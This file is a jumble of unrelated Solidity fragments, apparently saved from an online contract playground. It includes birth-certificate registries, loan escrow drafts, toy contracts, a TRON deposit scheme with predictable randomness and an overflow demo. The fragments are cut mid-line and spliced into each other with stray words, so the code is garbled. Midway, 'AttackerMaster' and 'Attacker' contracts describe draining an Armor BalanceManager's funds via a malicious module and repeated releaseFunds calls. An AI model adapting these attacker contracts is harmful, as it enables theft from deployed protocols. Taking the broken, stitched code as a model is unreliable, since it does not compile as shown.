contract BirthChain {
/********* Constructor to assign Government as admin *********/
address gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string time;
string email;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) bc;
mapping (address=>bool) isHospital;
mapping (address=>bool) isMuncipality;
mapping (bytes32=>uint) verifyedBc;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* //Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}f
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
appple
}
uint value;
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint256 _tranferBurnRate) public {
//require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
transferBurnRate = _tranferBurnRate;
}
function burnratePrecentage() public constant returns (uint256) {
return transferBurnRate;
}
function transferafterburn() public view returns (uint256) {
amount = 1000;
uint256 _burntAmount = amount * transferBurnRate / 100;
amount = amount - _burntAmount;
return amount;
}
uint256 amount;
uint256 transferBurnRate;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint256 _tranferBurnRate) public {
//require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
transferBurnRate = _tranferBurnRate;
}
function get() public constant returns (uint256) {
return transferBurnRate;
}
function transferafterburn() public view returns (uint256) {
amount = 1000;
uint256 _burntAmount = amount * transferBurnRate / 100;
amount = amount - _burntAmount;
return amount;
}
uint256 amount;
uint256 transferBurnRate;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint256 _tranferBurnRate) public {
//require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
transferBurnRate = _tranferBurnRate;
}
function get() public constant returns (uint256) {
return transferBurnRate;
}
function amounts() public view returns (uint256) {
amount = 1000;
uint256 _burntAmount = amount * transferBurnRate / 100;
amount = amount - _burntAmount;
return amount;
}
uint256 amount;
uint256 transferBurnRate;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/****// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFastLoan {
event LoanRequestSubmitted(address, uint256, uint256);
//NOTE: can add more even emitter for other functions
event LenderRegistered(address);
event LoanRequestApproved(address, uint256);
event LoanPaymentRecorded(uint256);
/**
* @dev register lender.
*/
function registerLender(address _lender) external;
/**
* @dev create and submit request.
*/
function submitLoanRequest(address payable _borrower, uint256 _amount, uint256 _projectId, string memory _projectTitle) external;
//, uint _projectDuration) external;
/**
* @dev approve submitted request. Should be done by the superValidator or delegated validator
**/
function approveLoanRequest(bytes32 _requestId, address payable _lender,
uint8 _numberOfInstallments) external;
/**
* @dev record the payments of the loans by // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './IFastLoan.sol';
contract FastLoanEscrow is IFastLoan {
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 afterInterestBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint8 requiredNofInstallments;
uint8 remainingNofInstallments;
bool isClosed;
}
mapping(address => uint256) public lenderWithdrawals;
mapping(address => uint256) private lenderDepositInEscrow;
uint256 public escrowBalance;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './IFastLoan.sol';
contract FastLoanEscrow is IFastLoan {
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 afterInterestBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint8 numberOfInstallments;
bool isClosed;
}
mapping(address => uint256) public lenderWithdrawals;
mapping(address => uint256) private lenderDepositInEscrow;
uint256 public escrowBalance;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
// Aggregate Lenders info
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './IFastLoan.sol';
contract FastLoanEscrow is IFastLoan {
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 afterInterestBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint8 numberOfInstallments;
bool isClosed;
}
mapping(address => uint256) public lenderWithdrawals;
mapping(address => uint256) private lenderDepositInEscrow;
uint256 public escrowBalance;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
// Aggregate Lenders info
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './EscrowLoan.sol';
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 currentBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint numberOfInstallments;
bool isClosed;
}
EscrowLoan escrowContract;
mapping(address => uint256) public lenderDeposits;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
//private fixedInterestRate = (5 / 100);
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address lender;
address borrower;
uint256 amount;
uint256 currentBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint numberOfInstallments;
bool isClosed;
}
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
//private fixedInterestRate = (5 / 100);
//uint private fixedInterestRate = (5 / 100);
// Aggregate Lenders info
address[] private allLenders;
// Aggregate borrowers' inf// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address lender;
address borrower;
uint256 amount;
uint256 currentBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint numberOfInstallments;
bool isClosed;
}
// struct CreditHistoryOracle{
// uint creditScore;
// uint dateCreditScoreReceived;
// }
// mapping (address => CreditHistoryOracle) private borroweCreditHistory;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
pragma solidity ^0.4.24;
contract PrivateAPIContract {
string public result;
function TestURLBuilder(string apiKey, uint _time, string _ticker, uint _days) {
// result = uintToString(12345678901234567890);
result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
result = appendUintToString(result, _time);
result = string(abi.encodePacked(result,"&days="));
result = appendUintToString(result, _days);
result = string(abi.encodePacked(result,"&apiKey=", apiKey));
}
function uintToString(uint v) constant returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reverse// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint projectID;
string projectTitle;
uint projectDuration;
uint amount;
//uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
//uint id;
uint projectID;
address lender;
address borrower;
uint amount;
uint interestAmount;
uint paymentEndTime;
uint numberOfInstallments;
bool isClosed;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
}
struct CreditHistoryOracle{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistoryOracle) borroweCreditHistory;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] public request// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint projectID;
string projectTitle;
uint projectDuration;
uint amount;
//uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
uint id;
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistoryOracle{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistoryOracle) borroweCreditHistory;
// Request info
bytes32[] public requestIDs;
mapping(bytes32 => LoanRequest) public requests;
// Loan info. // one loan per user.
mapping(address pragma solidity ^0.4.24;
contract A {
string public result;
function TestURLBuilder(uint _time, string _ticker, uint _days) {
// result = uintToString(12345678901234567890);
result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
result = appendUintToString(result, _time);
result = string(abi.encodePacked(result,"&days="));
result = appendUintToString(result, _days);
}
function uintToString(uint v) constant returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - 1 - j];
}
str = string(s);
}
function appendUintToString(string inStr, pragma solidity 0.8.0;
/*
This contract will be the new Master contract.
Since a successful exploit requires the BalanceManager to call the function getModule(),
this contract serves only to return the malicious attack contract.
*/
contract AttackerMaster {
// The contract where the attack exploit lays (attacker.sol, https://ethfiddle.com/sadCsoPiJV)
address attackAddress;
function getModule(bytes32 _key) external returns(address) {
returns(attackAddress);
}
constructor(address attackAddress_) {
attackAddress = attackAddress_;
}
pragma solidity 0.8.0;
interface ArmorBalanceManager {
function releaseFunds() external;
}
contract Attacker {
// Make sure that only the hacker can call this malicious contract
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
address armorBalanceManagerAddress;
address owner;
// The rewardBalance state of the BalanceManager contract
uint rewardBalance;
// The govBalance state of the BalanceManager contract
uint govBalance;
// Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
armorBalanceManagerAddress = armorBalanceManagerAddress_;
rewardBalance = rewardBalance_;
govBalance = govBalance_;
owner = msg.sender;
}
/*
Attack the armor contract by calling releaseFunds until the contract is empty.
Thpragma solidity 0.8.0;
interface ArmorBalanceManager {
function releaseFunds() external;
}
contract Attacker {
// Make sure that only the hacker can call this malicious contract
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
address armorBalanceManagerAddress;
address owner;
// The rewardBalance state of the BalanceManager contract
uint rewardBalance;
// The govBalance state of the BalanceManager contract
uint govBalance;
// Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
armorBalanceManagerAddress = armorBalanceManagerAddress_;
rewardBalance = rewardBalance_;
govBalance = govBalance_;
owner = msg.sender;
}
/*
Attack the armor contract by calling releaseFunds until the contract is empty.
Th// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint amount;
uint projectID;
string projectTitle;
uint projectDuration;
uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistoryOracle{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistoryOracle) borroweCreditHistory;
// Request info
bytes8[] public requestIDs;
mapping(bytes8 => LoanRequest) public requests;
// Loan info. // one loan per user.
mapping(address => bytes8) public userLoan;
mapping(// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint amount;
uint projectID;
string projectTitle;
uint projectDuration;
uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistory{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistory) borroweCreditHistory;
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint amount;
uint projectID;
string projectTitle;
uint projectDuration;
uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistory{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistory) borroweCreditHistory;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/****// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/****// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/*******pragma solidity 0.4.24;
// Testing Uint256 underflow and overflow in Solidity
h
contract UintWrapping {
uint public zero = 0;
uint public max = 2**256-1;
// zero will end up at 2**256-1
function zeroMinus1() public {
zero -= 1;
}
// max will end up at 0
function maxPlus1() public {
max += 1;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthCert {
address public gov;
constructor() {
gov = msg.sender;
}
struct HospitalModel{
string name;
string location;
string contact;
address pubadd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubadd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
uint hospitalId;
uint muncipalityId;
}
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (uint=>bool) public bcApprove;
mapping (bytes32=>uint) verifyedBc;
uint public hID = 256;
uint public mID = 512;
uint public bCID = 1024;
modifier onlyGov(){
require(gov == msg.sender,"only Gov");
_;
}
modifier onlyHospital(uint id){
require(hospital[id].pubadd == msg.sender,"only Hospitalpragma solidity 0.7.1;
contract CCRequest
{
address public Owner;
address public BankAgent;
string public LockerFriendlyName;
string public LockerIdentifier;
address public CurrentAuthorizedUser;
string public ExpirationDate;
string public Image;
address public ThirdPartyRequestor;
string public IntendedPurpose;
string public LockerStatus;
string public RejectionReason;
enum StateType { Requested, UnderReview, Approved, Rejected }
StateType public State;
constructor(string memory lockerFriendlyName, address bankAgent) public
{
Owner = msg.sender;
LockerFriendlyName = lockerFriendlyName;
State = StateType.Requested;
BankAgent = bankAgent;
}
function BeginReviewProcess() public
{
if (Owner == msg.sender)
{
revert();
}
BankAgent = msg.sender;
LockerStatus = "Pending";
State = StateType.DocumentReview;
}
function RejectApplication(strinpragma solidity 0.8.0;
contract Smart2 {
struct Play {
address payable player;
uint256 timestamp;
}
mapping(uint => mapping(uint => Play)) public seassons;
constructor() {
//1 not working (Compiled)
// Works
seassons[0][0] = Play(payable(msg.sender), block.timestamp);
//2 not working (Compiled)
// Works
Play storage player = seassons[0][0];
// When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
player.player = payable(msg.sender);
player.timestamp = block.timestamp;
// Kept it commented out, look at line 17
//seassons[0][0] = Play(msg.sender, block.timestamp);
// Won't work, look at line 17
// seassons.push([(Play(msg.sender, block.timestamp))]);
}
pragma solidity 0.8.0;
contract Smart2 {
struct Play {
address payable player;
uint256 timestamp;
}
mapping(uint => mapping(uint => Play)) public seassons;
constructor() {
//1 not working (Compiled)
seassons[0][0] = Play(payable(msg.sender), block.timestamp);
//2 not working (Compiled)
Play storage player = seassons[0][0];
// When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
player.player = payable(msg.sender);
player.timestamp = block.timestamp;
// Kept it commented out since it was defined equally in line 17
//seassons[0][0] = Play(msg.sender, block.timestamp);
// Use as line 17
// seassons.push([(Play(msg.sender, block.timestamp))]);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Inbox {
string public message;
function Inbox(string initialMessage) public {
message = initialMessage;
}
function setMessage(string newMessage) public {
message = newMessage;
}
function getMessage() public view returns (string) {
return message;
}
pragma solidity ^0.7.0;
//SPDX-License-Identifier: UNLICENSED
contract sanity_check {
function welcome() public pure returns (string memory){
return "flag{}";
}
}pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
pragma solidity ^0.5.0;
interface RegisterSC{
function isBuyerExist(address addr) external view returns (bool);
}
contract PlasticBale{
address[] public plasticBale;
address payable[] public contributors;
address payable[] public tempArray;
uint public contribution; //Added here
// Bid variables
bool public isOpen;
uint public highestBid;
address payable public highestBidder;
uint public startTime;
uint public endTime;
struct buyer{
bool isExist;
uint placedBids;
uint deposit;
}
//Bidder[BuyerAddress]
mapping(address=>buyer) bidder;
//Seller is the auctionOwner
address payable public auctionOwner;
// Bidders are the Buyers
uint totalBidders;
constructor(address[] memory _plasticBale, address payable[] memory _contributors, address payable seller ) public {
plasticBale = _plasticBale;
contributors = _contributors;
auctionOwner =pragma solidity 0.5.12;
contract TickeTron {
// Struct TicketSequence
// it consists of uint8 array of 6 elements;
struct TicketProof {
uint256 value;
uint256 ticketTime;
}
struct Player {
uint256 id;
address payable wallet;
// Dynamic Array of TicketSequence
TicketProof[] tickets;
uint256 ticketsCount;
}
// TRON Address for Admin
address payable public owner;
// Map for User Address and User Object
mapping(address => Player) public players;
/** Price for a Ticket - it would be TRON in future
For now I mean this is 0.01ETH
*/
uint private ticketPrice = 1000000000;
/** Counters */
uint256 public total_users = 50;
uint256 public total_deposited;
uint256 public total_withdraw;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(address payable _owner) public {
owner = _owner;
}
/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.
email: [email protected]
telegram channel: @trxis
*/
pragma solidity 0.4.21;
contract TRXIS {
struct Tariff {
uint256 time;
uint256 percent;
}
struct Deposit {
uint256 tariff;
uint256 amount;
uint256 at;
}
uint256 DAY = 28800;
uint256 MIN_DEPOSIT = 100000000;
uint256 START_AT = 2762825;
uint256 timesmp = 1610801709000;
event DepositAt(address user, uint256 tariff, uint256 amount);
function checkRandom() public view returns (uint256) {
return random();
}
function random() internal view returns (uint256) {
uint256 randomnumber = uint256(
keccak256(timesmp, "TQdVjFryFPNS176yzchTW1QzpjiV2c6x7S")
) % 999;
randomnumber = randomnumber / 4 + 1;
if (randomnumber > 0 && randomnumber <= 250) {
return randomnumber;
}
if (randomnumber == 251) {
/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.
email: [email protected]
telegram channel: @trxis
*/
pragma solidity 0.4.21;
contract TRXIS {
struct Tariff {
uint256 time;
uint256 percent;
}
struct Deposit {
uint256 tariff;
uint256 amount;
uint256 at;
}
uint256 DAY = 28800;
uint256 MIN_DEPOSIT = 100000000;
uint256 START_AT = 2762825;
event DepositAt(address user, uint256 tariff, uint256 amount);
function checkRandom() public view returns (uint256) {
return random();
}
function random() internal view returns (uint256) {
uint256 randomnumber = uint256(
keccak256(now, msg.sender)
) % 999;
randomnumber = randomnumber / 4 + 1;
if (randomnumber > 0 && randomnumber <= 250) {
return randomnumber;
}
if (randomnumber == 251) {
return randomnumber - 250 + 1;
}
if (randomnumber == 0) // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
contract Groups {
mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address =>
mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address =>
mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => bool))))))))))))))))))))))))))) userGroups;
constructor() {
userGroups[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.senpragma solidity ^0.6.2;
contract A {
address contractMaker = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
address contractReceiver = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
string contractDetail = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
uint256 contractDeadline = 1700000000;
bool isDiscardWithDeadline = false;
bool isDoneByMaker = false;
bool isDoneByReciver = false;
}//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Foo {
struct Item {
uint[] test;
}
mapping (bytes32 => Thing) things;
struct Thing {
Item[] items;
}
function Foo(bytes32 id) {
Thing memory thing = Thing(new Item[](1));
things[id] = thing;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.6.4;
contract Collections {
struct User{
address userAddress;
uint balance;
}
Users[] users;
function getUsers() external returns()
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "https://github.com/sushiswap/sushiswap/blob/master/contracts/uniswapv2/interfaces/IUniswapV2Router02.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/FlashLoanReceiverBase.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";
struct Swap {
address pool;
address tokenIn;
address tokenOut;
uint swapAmount; // tokenInAmount / tokenOutAmount
uint limitReturnAmount; // minAmountOut / maxAmountIn
uint maxPrice;
}
interface IBalancerProxy {
function smartSwapExactIn(TokenInterface tokenIn, TokenInterface tokenOut, uint totalAmountIn, uint minTotalAmountOut, uint nPools)
external
payable
returns (uint totalAmountOut);
function viewSplitExactIn(address tokenIn, address tokenOut, uint swapAmount, uint nPools)//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
